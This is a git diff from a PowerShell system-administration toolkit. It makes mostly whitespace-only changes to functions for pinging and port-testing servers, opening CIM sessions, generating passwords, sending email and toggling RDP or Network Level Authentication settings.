Finally { @@ -574,15 +574,15 @@ Function Invoke-Ping Write-Verbose "Closing the runspace pool" $runspacepool.close() } - + #collect garbage [gc]::Collect() } } } - + Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - + $bound = $PSBoundParameters.keys -contains "ComputerName" if (-not $bound) { @@ -591,7 +591,7 @@ Function Invoke-Ping } Process { - + #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work if ($bound) { @@ -604,11 +604,11 @@ Function Invoke-Ping $AllComputers.add($Computer) | Out-Null } } - + } End { - + #Built up the parameters and run everything in parallel $params = @($Detail, $Quiet) $splat = @{ @@ -621,13 +621,13 @@ Function Invoke-Ping { $splat.add('NoCloseOnTimeout', $True) } - + Invoke-Parallel @splat -ScriptBlock { - + $computer = $_.trim() $detail = $parameter[0] $quiet = $parameter[1] - + #They want detail, define and run test-server if ($detail) { @@ -642,24 +642,24 @@ Function Invoke-Ping Mandatory = $true, ValueFromPipeline = $true)] [string[]]$ComputerName, - + [switch]$All, - + [parameter(Mandatory = $false)] [switch]$CredSSP, - + [switch]$RemoteReg, - + [switch]$RDP, - + [switch]$RPC, - + [switch]$SMB, - + [switch]$WSMAN, - + [switch]$IPV6, - + [Management.Automation.PSCredential]$Credential ) begin @@ -670,24 +670,24 @@ Function Invoke-Ping { Throw "Must supply Credentials with CredSSP test" } - + [string[]]$props = write-output Name, IP, Domain, Ping, WSMAN, CredSSP, RemoteReg, RPC, RDP, SMB - + #Hash table to create PSObjects later, compatible with ps2... $Hash = @{ } foreach ($prop in $props) { $Hash.Add($prop, $null) } - + function Test-Port { [cmdletbinding()] Param ( [string]$srv, - + $port = 135, - + $timeout = 3000 ) $ErrorActionPreference = "SilentlyContinue" @@ -716,7 +716,7 @@ Function Invoke-Ping } } } - + process { foreach ($name in $computername) @@ -747,12 +747,12 @@ Function Invoke-Ping { foreach ($ip in $ips) { - + $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props $rst.name = $name $rst.ip = $ip $rst.domain = $domain - + if ($RDP -or $All) { ####RDP Check (firewall may block rest so do before ping @@ -781,7 +781,7 @@ Function Invoke-Ping { Write-verbose "PING: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" $rst.ping = $true - + if ($WSMAN -or $All) { try @@ -844,7 +844,7 @@ Function Invoke-Ping } if ($SMB -or $All) { - + #Use set location and resulting errors. push and pop current location try ######### C$ { @@ -859,7 +859,7 @@ Function Invoke-Ping Write-Verbose "Error testing SMB: $_" } Write-verbose "SMB: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - + } } else @@ -885,18 +885,18 @@ Function Invoke-Ping return $results } } - + #Build up parameters for Test-Server and run it $TestServerParams = @{ ComputerName = $Computer ErrorAction = "Stop" } - + if ($detail -eq "*") { $detail = "WSMan", "RemoteReg", "RPC", "RDP", "SMB" } - + $detail | Select -Unique | Foreach-Object { $TestServerParams.add($_, $True) } Test-Server @TestServerParams | Select -Property $("Name", "IP", "Domain", "Ping" + $detail) } @@ -919,7 +919,7 @@ Function Invoke-Ping IPV6Address, ResponseTime, @{ label = "STATUS"; expression = { "Responding" } } - + if ($quiet) { $Output.address @@ -947,7 +947,7 @@ Function Invoke-Ping { $status = "Error: $_" } - + "" | Select -Property @{ label = "Address"; expression = { $computer } }, IPV4Address, IPV6Address, diff --git a/TOOL-Lock-Computer/Lock-Computer.ps1 b/TOOL-Lock-Computer/Lock-Computer.ps1 index 95dd6021..6a1c7601 100644 --- a/TOOL-Lock-Computer/Lock-Computer.ps1 +++ b/TOOL-Lock-Computer/Lock-Computer.ps1 @@ -6,7 +6,7 @@ Function Lock-Computer .SYNOPSIS Function to Lock your computer #> - + $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); diff --git a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 index 2e096a77..a1c05fa7 100644 --- a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 +++ b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 @@ -3,24 +3,24 @@ <# .SYNOPSIS Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. - + .DESCRIPTION Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. This function requires at least PowerShell v3. - + .PARAMETER ComputerName Specifies the ComputerName - + .PARAMETER Credential Specifies alternative credentials - + .EXAMPLE New-CimSmartSession -ComputerName DC01,DC02 - + .EXAMPLE $Session = New-CimSmartSession -ComputerName DC01 -Credential (Get-Credential -Credential "FX\SuperAdmin") New-CimInstance -CimSession $Session -Class Win32_Bios - + .NOTES Francois-Xavier Cat lazywinadmin.com @@ -31,11 +31,11 @@ PARAM ( [Parameter(ValueFromPipeline = $true)] [string[]]$ComputerName = $env:COMPUTERNAME, - + [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty ) - + BEGIN { # Default Verbose/Debug message @@ -51,17 +51,17 @@ PARAM ($Message) Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" }#Get-DefaultMessage - + # Create a containter (hashtable) for the properties (Splatting) $CIMSessionSplatting = @{ } - + # Credential specified IF ($PSBoundParameters['Credential']) { $CIMSessionSplatting.Credential = $Credential } - + # CIMSession Option for DCOM (Default is WSMAN) $CIMSessionOption = New-CimSessionOption -Protocol Dcom } - + PROCESS { FOREACH ($Computer in $ComputerName) @@ -70,8 +70,8 @@ IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { $CIMSessionSplatting.ComputerName = $Computer - - + + # WSMAN Protocol IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: ([3-9]|[1-9][0-9]+)\.[0-9]+') { @@ -87,12 +87,12 @@ Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) } } - + ELSE { # DCOM Protocol $CIMSessionSplatting.SessionOption = $CIMSessionOption - + TRY { Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using DCOM protocol") diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 index c02527cf..352401ab 100644 --- a/TOOL-New-DjoinFile/New-DjoinFile.ps1 +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -3,29 +3,29 @@ <# .SYNOPSIS Function to generate a blob file accepted by djoin.exe tool (offline domain join) - + .DESCRIPTION Function to generate a blob file accepted by djoin.exe tool (offline domain join) - + This function can create a file compatible with djoin with the Blob initially provisionned. - + .PARAMETER Blob Specifies the blob generated by djoin - + .PARAMETER DestinationFile Specifies the full path of the file that will be created - + Default is c:\temp\djoin.tmp - + .EXAMPLE New-DjoinFile -Blob $Blob -DestinationFile C:\temp\test.tmp - + .NOTES Francois-Xavier.Cat LazyWinAdmin.com @lazywinadm github.com/lazywinadmin - + .LINK https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile .LINK @@ -40,7 +40,7 @@ [Parameter(Mandatory = $true)] [System.IO.FileInfo]$DestinationFile = "c:\temp\djoin.tmp" ) - + PROCESS { TRY @@ -50,19 +50,19 @@ # Add the first two character for Unicode Encoding $bytechain[0] = 255 $bytechain[1] = 254 - + # Creates a write-only FileStream $FileStream = $DestinationFile.Openwrite() - + # Append Hash as byte $bytechain += [System.Text.Encoding]::unicode.GetBytes($Blob) # Append two extra 0 bytes characters $bytechain += 0 $bytechain += 0 - + # Write back to the file $FileStream.write($bytechain, 0, $bytechain.Length) - + # Close the file Stream $FileStream.Close() } diff --git a/TOOL-New-Password/New-Password.ps1 b/TOOL-New-Password/New-Password.ps1 index ed939a1b..c0bec6ad 100644 --- a/TOOL-New-Password/New-Password.ps1 +++ b/TOOL-New-Password/New-Password.ps1 @@ -3,17 +3,17 @@ <# .SYNOPSIS Function to Generate a new password. - + .DESCRIPTION Function to Generate a new password. By default it will generate a 12 characters length password, you can change this using the parameter Length. I excluded the following characters: ",',.,/,1,<,>,`,O,0,l,| Some of those are ambiguous characters like 1 or l or | You can add exclusion by checking the following ASCII Table http://www.asciitable.com/ - + If the length requested is less or equal to 4, it will generate a random password. If the length requested is greater than 4, it will make sure the password contains an Upper and Lower case letter, a Number and a special character - + .PARAMETER Length Specifies the length of the password. Default is 12 characters @@ -21,17 +21,17 @@ .PARAMETER Count Specifies how many password you want to output. Default is 1 password. - + .EXAMPLE PS C:\> New-Password -Length 30 - + =E)(72&:f\W6:VRGE(,t1x6sZi-346 .EXAMPLE PS C:\> New-Password 3 - + !}R - + .NOTES See ASCII Table http://www.asciitable.com/ Code based on a blog post of https://mjolinor.wordpress.com/2014/01/31/random-password-generator/ @@ -44,13 +44,13 @@ [ValidateRange(1,256)] [Int]$Count = 1 )#PARAM - + BEGIN { # Create ScriptBlock with the ASCII Char Codes $PasswordCharCodes = { 33..126 }.invoke() - - + + # Exclude some ASCII Char Codes from the ScriptBlock # Excluded characters are ",',.,/,1,<,>,`,O,0,l,| # See http://www.asciitable.com/ for mapping @@ -64,7 +64,7 @@ # Password of 4 characters or longer IF ($Length -gt 4) { - + DO { # Generate a Password of the length requested @@ -83,7 +83,7 @@ { $NewPassWord = $(foreach ($i in 1..$length) { Get-Random -InputObject $PassWordChars }) -join '' }#ELSE - + # Output a new password Write-Output $NewPassword } diff --git a/TOOL-New-RandomPassword/New-RandomPassword.ps1 b/TOOL-New-RandomPassword/New-RandomPassword.ps1 index df4b901d..420823f1 100644 --- a/TOOL-New-RandomPassword/New-RandomPassword.ps1 +++ b/TOOL-New-RandomPassword/New-RandomPassword.ps1 @@ -5,12 +5,12 @@ Function to generate a complex and random password .DESCRIPTION Function to generate a complex and random password - + This is using the GeneratePassword method from the system.web.security.membership NET Class. - + https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.100).aspx - + .PARAMETER Length The number of characters in the generated password. The length must be between 1 and 128 characters. Default is 12. @@ -43,17 +43,17 @@ #> PARAM ( [Int32]$Length = 12, - + [Int32]$NumberOfNonAlphanumericCharacters = 5, - + [Int32]$Count = 1 ) - + BEGIN { Add-Type -AssemblyName System.web; } - + PROCESS { 1..$Count | ForEach-Object { diff --git a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 index 1a08d403..59adc98c 100644 --- a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 +++ b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 @@ -3,58 +3,58 @@ <# .SYNOPSIS Helper Function to show default message used in VERBOSE/DEBUG/WARNING - + .DESCRIPTION Helper Function to show default message used in VERBOSE/DEBUG/WARNING and... HOST in some case. This is helpful to standardize the output messages - + .PARAMETER Message Specifies the message to show - + .PARAMETER Block Specifies the Block where the message is coming from. - + .PARAMETER DateFormat Specifies the format of the date. Default is 'yyyy\/MM\/dd HH:mm:ss:ff' For example: 2016/04/20 23:33:46:78 - + .PARAMETER FunctionScope Valid values are "Global", "Local", or "Script", or a number relative to the current scope (0 through the number of scopes, where 0 is the current scope and 1 is its parent). "Local" is the default - + See also: About_scopes https://technet.microsoft.com/en-us/library/hh847849.aspx - + Example: 0 is New-ScriptMessage 1 is the function calling New-ScriptMessage 2 is for example the script/function calling the function which call New-ScriptMessage etc... - + .EXAMPLE New-ScriptMessage -Message "Francois-Xavier" -Block PROCESS -Verbose -FunctionScope 0 - + [2016/04/20 23:33:46:78][New-ScriptMessage][PROCESS] Francois-Xavier - + .EXAMPLE New-ScriptMessage -message "Connected" - + if the function is just called from the prompt you will get the following output [2015/03/14 17:32:53:62] Connected - + .EXAMPLE New-ScriptMessage -message "Connected to $Computer" -FunctionScope 1 - + If the function is called from inside another function, It will show the name of the function. [2015/03/14 17:32:53:62][Get-Something] Connected - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm github.com/lazywinadmin #> - + [CmdletBinding()] [OutputType([string])] param @@ -64,7 +64,7 @@ [String]$DateFormat = 'yyyy\/MM\/dd HH:mm:ss:ff', $FunctionScope = "1" ) - + PROCESS { $DateFormat = Get-Date -Format $DateFormat @@ -77,7 +77,7 @@ { $String = "[$DateFormat]" } #Else - + IF ($PSBoundParameters['Block']) { $String += "[$Block]" diff --git a/TOOL-Out-Excel/Out-Excel.ps1 b/TOOL-Out-Excel/Out-Excel.ps1 index a59f9cf9..a5f25d1c 100644 --- a/TOOL-Out-Excel/Out-Excel.ps1 +++ b/TOOL-Out-Excel/Out-Excel.ps1 @@ -7,7 +7,7 @@ .PARAMETER Raw .NOTES Original Script: http://pathologicalscripter.wordpress.com/out-excel/ - + TODO: Parameter to change color of header Parameter to activate background color on Odd unit @@ -16,7 +16,7 @@ #> [CmdletBinding()] PARAM ([string[]]$property, [switch]$raw) - + BEGIN { # start Excel and open a new workbook @@ -29,7 +29,7 @@ $Row = 1 $HeaderHash = @{ } } - + PROCESS { if ($_ -eq $null) { return } @@ -87,7 +87,7 @@ } } } - + end { # now just resize the columns and we’re finished diff --git a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 index a170df9a..f971efe1 100644 --- a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 @@ -3,16 +3,16 @@ <# .SYNOPSIS Function to Remove all the empty or null properties with empty value in a PowerShell Object - + .DESCRIPTION Function to Remove all the empty or null properties with empty value in a PowerShell Object - + .PARAMETER PSObject Specifies the PowerShell Object - + .EXAMPLE PS C:\> Remove-PSObjectEmptyOrNullProperty -PSObject $UserInfo - + .NOTES Francois-Xavier Cat www.lazywinadmin.com diff --git a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 index 5dc76f03..45e9a01f 100644 --- a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 +++ b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 @@ -3,19 +3,19 @@ <# .SYNOPSIS Function to Remove a specifid property from a PowerShell object - + .DESCRIPTION Function to Remove a specifid property from a PowerShell object - + .PARAMETER PSObject Specifies the PowerShell Object - + .PARAMETER Property Specifies the property to remove - + .EXAMPLE PS C:\> Remove-PSObjectProperty -PSObject $UserInfo -Property Info - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @@ -23,7 +23,7 @@ #> PARAM ( $PSObject, - + [String[]]$Property) PROCESS { diff --git a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 index 9e809611..698480fd 100644 --- a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 +++ b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 @@ -3,7 +3,7 @@ <# .SYNOPSIS This function will remove the diacritics (accents) characters from a string. - + .DESCRIPTION This function will remove the diacritics (accents) characters from a string. @@ -16,7 +16,7 @@ .EXAMPLE PS C:\> Remove-StringDiacritic "L'été de Raphaël" - + L'ete de Raphael .NOTES @@ -33,7 +33,7 @@ [System.String[]]$String, [System.Text.NormalizationForm]$NormalizationForm = "FormD" ) - + FOREACH ($StringValue in $String) { Write-Verbose -Message "$StringValue" @@ -42,7 +42,7 @@ # Normalize the String $Normalized = $StringValue.Normalize($NormalizationForm) $NewString = New-Object -TypeName System.Text.StringBuilder - + # Convert the String to CharArray $normalized.ToCharArray() | ForEach-Object -Process { diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index dba3b6d3..0417ad95 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -14,7 +14,7 @@ { # Get the content of the current file and remove the diacritics $NewContent = Get-content $file | Remove-StringLatinCharacter - + # Overwrite the current file with the new content $NewContent | Set-Content $file } @@ -29,7 +29,7 @@ BLOG ARTICLE http://www.lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html - + VERSION HISTORY 1.0.0.0 | Francois-Xavier Cat Initial version Based on Marcin Krzanowic code diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 829acbde..84a78504 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -3,13 +3,13 @@ function Remove-StringSpecialCharacter <# .SYNOPSIS This function will remove the special character from a string. - + .DESCRIPTION This function will remove the special character from a string. I'm using Unicode Regular Expressions with the following categories \p{L} : any kind of letter from any language. \p{Nd} : a digit zero through nine in any script except ideographic - + http://www.regular-expressions.info/unicode.html http://unicode.org/reports/tr18/ @@ -24,7 +24,7 @@ function Remove-StringSpecialCharacter wow .EXAMPLE PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" - + wow .EXAMPLE PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" @@ -43,7 +43,7 @@ function Remove-StringSpecialCharacter [ValidateNotNullOrEmpty()] [Alias('Text')] [System.String[]]$String, - + [Alias("Keep")] #[ValidateNotNullOrEmpty()] [String[]]$SpecialCharacterToKeep @@ -62,11 +62,11 @@ function Remove-StringSpecialCharacter } #$Regex += "/$character" } - + $Regex += "]+" } #IF($PSBoundParameters["SpecialCharacterToKeep"]) ELSE { $Regex = "[^\p{L}\p{Nd}]+" } - + FOREACH ($Str in $string) { Write-Verbose -Message "Original String: $Str" diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 index 73a1f02c..a0662558 100644 --- a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 +++ b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 @@ -22,14 +22,14 @@ function Resolve-ShortURL @lazywinadm github.com/lazywinadmin #> - + [CmdletBinding()] [OutputType([System.String])] PARAM ( [String[]]$ShortUrl ) - + FOREACH ($URL in $ShortUrl) { TRY diff --git a/TOOL-Send-Email/TOOL-Send-Email.ps1 b/TOOL-Send-Email/TOOL-Send-Email.ps1 index 8bf05a65..d1c120c5 100644 --- a/TOOL-Send-Email/TOOL-Send-Email.ps1 +++ b/TOOL-Send-Email/TOOL-Send-Email.ps1 @@ -3,83 +3,83 @@ <# .SYNOPSIS This function allows you to send email - + .DESCRIPTION This function allows you to send email using the NET Class System.Net.Mail - + .PARAMETER To A description of the To parameter. - + .PARAMETER From A description of the From parameter. - + .PARAMETER FromDisplayName Specifies the DisplayName to show for the FROM parameter - + .PARAMETER SenderAddress A description of the SenderAddress parameter. - + .PARAMETER SenderDisplayName Specifies the DisplayName of the Sender - + .PARAMETER CC A description of the CC parameter. - + .PARAMETER BCC A description of the BCC parameter. - + .PARAMETER ReplyToList Specifies the email address(es) that will be use when the recipient(s) reply to the email. - + .PARAMETER Subject Specifies the subject of the email. - + .PARAMETER Body Specifies the body of the email. - + .PARAMETER BodyIsHTML Specifies that the text format of the body is HTML. Default is Plain Text. - + .PARAMETER Priority Specifies the priority of the message. Default is Normal. - + .PARAMETER Encoding Specifies the text encoding of the title and the body. - + .PARAMETER Attachment Specifies if an attachement must be added to the function - + .PARAMETER Credential Specifies the credential to use, default will use the current credential. - + .PARAMETER SMTPServer Specifies if the SMTP Server IP or FQDN to use - + .PARAMETER Port Specifies if the SMTP Server Port to use. Default is 25. - + .PARAMETER EnableSSL Specifies if the email must be sent using SSL. - + .PARAMETER DeliveryNotificationOptions Specifies the delivey notification options. https://msdn.microsoft.com/en-us/library/system.net.mail.deliverynotificationoptions.aspx - + .PARAMETER EmailCC Specifies the Carbon Copy recipient - + .PARAMETER EmailBCC Specifies the Blind Carbon Copy recipient - + .PARAMETER EmailTo Specifies the recipient of the email - + .PARAMETER EmailFrom Specifies the sender of the email - + .PARAMETER Sender Specifies the Sender Email address. Sender is the Address of the actual sender acting on behalf of the author listed in the From parameter. - + .EXAMPLE Send-email ` -EmailTo "fxcat@contoso.com" ` @@ -87,12 +87,12 @@ -SMTPServer "smtp.sendgrid.net" ` -Subject "Test Email" ` -Body "Test Email" - + This will send an email using the current credential of the current logged user - + .EXAMPLE $Cred = [System.Net.NetworkCredential](Get-Credential -Credential testuser) - + Send-email ` -EmailTo "fxcat@contoso.com" ` -EmailFrom "powershell@contoso.com" ` @@ -100,9 +100,9 @@ -SMTPServer "smtp.sendgrid.net" ` -Subject "Test Email" ` -Body "Test Email" - + This will send an email using the credentials specified in the $Cred variable - + .EXAMPLE Send-email ` -EmailTo "fxcat@contoso.com","SomeoneElse@contoso.com" ` @@ -110,27 +110,27 @@ -SMTPServer "smtp.sendgrid.net" ` -Subject "Test Email" ` -Body "Test Email" - + This will send an email using the current credential of the current logged user to two fxcat@contoso.com and SomeoneElse@contoso.com - + .NOTES Francois-Xavier Cat fxcat@lazywinadmin.com www.lazywinadmin.com @lazywinadm - + VERSION HISTORY 1.0 2014/12/25 Initial Version 1.1 2015/02/04 Adding some error handling and clean up the code a bit Add Encoding, CC, BCC, BodyAsHTML 1.2 2015/04/02 Credential - + TODO -Add more Help/Example -Add Support for classic Get-Credential #> - + [CmdletBinding(DefaultParameterSetName = 'Main')] param ( @@ -138,52 +138,52 @@ Mandatory = $true)] [Alias('EmailTo')] [String[]]$To, - + [Parameter(ParameterSetName = 'Main', Mandatory = $true)] [Alias('EmailFrom', 'FromAddress')] [String]$From, - + [Parameter(ParameterSetName = 'Main')] [ValidateNotNullOrEmpty()] [string]$FromDisplayName, - + [Parameter(ParameterSetName = 'Main')] [Alias('EmailCC')] [String]$CC, - + [Parameter(ParameterSetName = 'Main')] [Alias('EmailBCC')] [System.String]$BCC, - + [Parameter(ParameterSetName = 'Main')] [ValidateNotNullOrEmpty()] [Alias('ReplyTo')] [System.string[]]$ReplyToList, - + [Parameter(ParameterSetName = 'Main')] [System.String]$Subject = "Email from PowerShell", - + [Parameter(ParameterSetName = 'Main')] [System.String]$Body = "Hello World", - + [Parameter(ParameterSetName = 'Main')] [Switch]$BodyIsHTML = $false, - + [Parameter(ParameterSetName = 'Main')] [ValidateNotNullOrEmpty()] [System.Net.Mail.MailPriority]$Priority = "Normal", - + [Parameter(ParameterSetName = 'Main')] [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] [System.String]$Encoding = "Default", - + [Parameter(ParameterSetName = 'Main')] [System.String]$Attachment, - + [Parameter(ParameterSetName = 'Main')] [System.Net.NetworkCredential]$Credential, - + [Parameter(ParameterSetName = 'Main', Mandatory = $true)] [ValidateScript({ @@ -192,32 +192,32 @@ })] [Alias("Server")] [string]$SMTPServer, - + [Parameter(ParameterSetName = 'Main')] [ValidateRange(1, 65535)] [Alias("SMTPServerPort")] [int]$Port = 25, - + [Parameter(ParameterSetName = 'Main')] [Switch]$EnableSSL, - + [Parameter(ParameterSetName = 'Main')] [ValidateNotNullOrEmpty()] [Alias('EmailSender', 'Sender')] [string]$SenderAddress, - + [Parameter(ParameterSetName = 'Main')] [ValidateNotNullOrEmpty()] [System.String]$SenderDisplayName, - + [Parameter(ParameterSetName = 'Main')] [ValidateNotNullOrEmpty()] [Alias('DeliveryOptions')] [System.Net.Mail.DeliveryNotificationOptions]$DeliveryNotificationOptions ) - + #PARAM - + PROCESS { TRY @@ -233,31 +233,31 @@ $SMTPMessage.SubjectEncoding = $([System.Text.Encoding]::$Encoding) $SMTPMessage.Priority = $Priority $SMTPMessage.Sender = $SenderAddress - + # Sender Displayname parameter IF ($PSBoundParameters['SenderDisplayName']) { $SMTPMessage.Sender.DisplayName = $SenderDisplayName } - + # From Displayname parameter IF ($PSBoundParameters['FromDisplayName']) { $SMTPMessage.From.DisplayName = $FromDisplayName } - + # CC Parameter IF ($PSBoundParameters['CC']) { $SMTPMessage.CC.Add($CC) } - + # BCC Parameter IF ($PSBoundParameters['BCC']) { $SMTPMessage.BCC.Add($BCC) } - + # ReplyToList Parameter IF ($PSBoundParameters['ReplyToList']) { @@ -266,31 +266,31 @@ $SMTPMessage.ReplyToList.Add($ReplyTo) } } - + # Attachement Parameter IF ($PSBoundParameters['attachment']) { $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) $SMTPMessage.Attachments.Add($STMPattachment) } - + # Delivery Options IF ($PSBoundParameters['DeliveryNotificationOptions']) { $SMTPMessage.DeliveryNotificationOptions = $DeliveryNotificationOptions } - + #Create SMTP Client Object $SMTPClient = New-Object -TypeName Net.Mail.SmtpClient $SMTPClient.Host = $SmtpServer $SMTPClient.Port = $Port - + # SSL Parameter IF ($PSBoundParameters['EnableSSL']) { $SMTPClient.EnableSsl = $true } - + # Credential Paramenter #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) IF ($PSBoundParameters['Credential']) @@ -301,7 +301,7 @@ $Credentials.UserName = $username.Split("@")[0] $Credentials.Password = $Password #> - + # Add the credentials object to the SMTPClient obj $SMTPClient.Credentials = $Credential } @@ -310,10 +310,10 @@ # Use the current logged user credential $SMTPClient.UseDefaultCredentials = $true } - + # Send the Email $SMTPClient.Send($SMTPMessage) - + }#TRY CATCH { diff --git a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 index d0938c93..4e9e8d58 100644 --- a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 +++ b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 @@ -39,10 +39,10 @@ PARAM ( [Parameter(ValueFromPipeline,ValueFromPipelineByPropertyName)] [System.String[]]$ComputerName = $env:ComputerName, - + [Parameter(Mandatory)] [System.Boolean]$EnableNLA, - + [Alias("RunAs")] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty @@ -65,7 +65,7 @@ } } }#BEGIN - + PROCESS { FOREACH ($Computer in $ComputerName) @@ -80,18 +80,18 @@ ErrorAction = 'Stop' ErrorVariable = 'ProcessError' } - + # Add Credential if specified when calling the function IF ($PSBoundParameters['Credential']) { Write-Verbose -message "[PROCESS] $Computer - CIM/WMI - Add Credential Specified" $CIMSessionParams.credential = $Credential } - + # Connectivity Test Write-Verbose -Message "[PROCESS] $Computer - Testing Connection..." Test-Connection -ComputerName $Computer -Count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null - + # CIM/WMI Connection # WsMAN IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') @@ -101,7 +101,7 @@ $CimProtocol = $CimSession.protocol Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" } - + # DCOM ELSE { @@ -112,13 +112,13 @@ $CimProtocol = $CimSession.protocol Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" } - + # Getting the Information on Terminal Settings Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" $NLAinfo | Invoke-CimMethod -MethodName SetUserAuthenticationRequired -Arguments @{ UserAuthenticationRequired = $EnableNLA } -ErrorAction 'Continue' -ErrorVariable ErrorProcessInvokeWmiMethod } - + CATCH { Write-Warning -Message "Error on $Computer" diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 index 169e835a..3f49b2c4 100644 --- a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -3,16 +3,16 @@ <# .SYNOPSIS Function to set the title of the PowerShell Window - + .DESCRIPTION Function to set the title of the PowerShell Window - + .PARAMETER Title Specifies the Title of the PowerShell Window - + .EXAMPLE PS C:\> Set-PowerShellWindowTitle -Title LazyWinAdmin.com - + .NOTES Francois-Xavier Cat www.lazywinadmin.com diff --git a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 index 52b1af4b..fb3ff394 100644 --- a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 +++ b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 @@ -3,22 +3,22 @@ <# .SYNOPSIS The function Set-RDPDisable disable RDP remotely using the registry - + .DESCRIPTION The function Set-RDPDisable disable RDP remotely using the registry - + .PARAMETER ComputerName Specifies the ComputerName - + .EXAMPLE PS C:\> Set-RDPDisable - + .EXAMPLE PS C:\> Set-RDPDisable -ComputerName "DC01" - + .EXAMPLE PS C:\> Set-RDPDisable -ComputerName "DC01","DC02","DC03" - + .NOTES Francois-Xavier Cat www.lazywinadmin.com diff --git a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 index 5b8569c5..9a9d7501 100644 --- 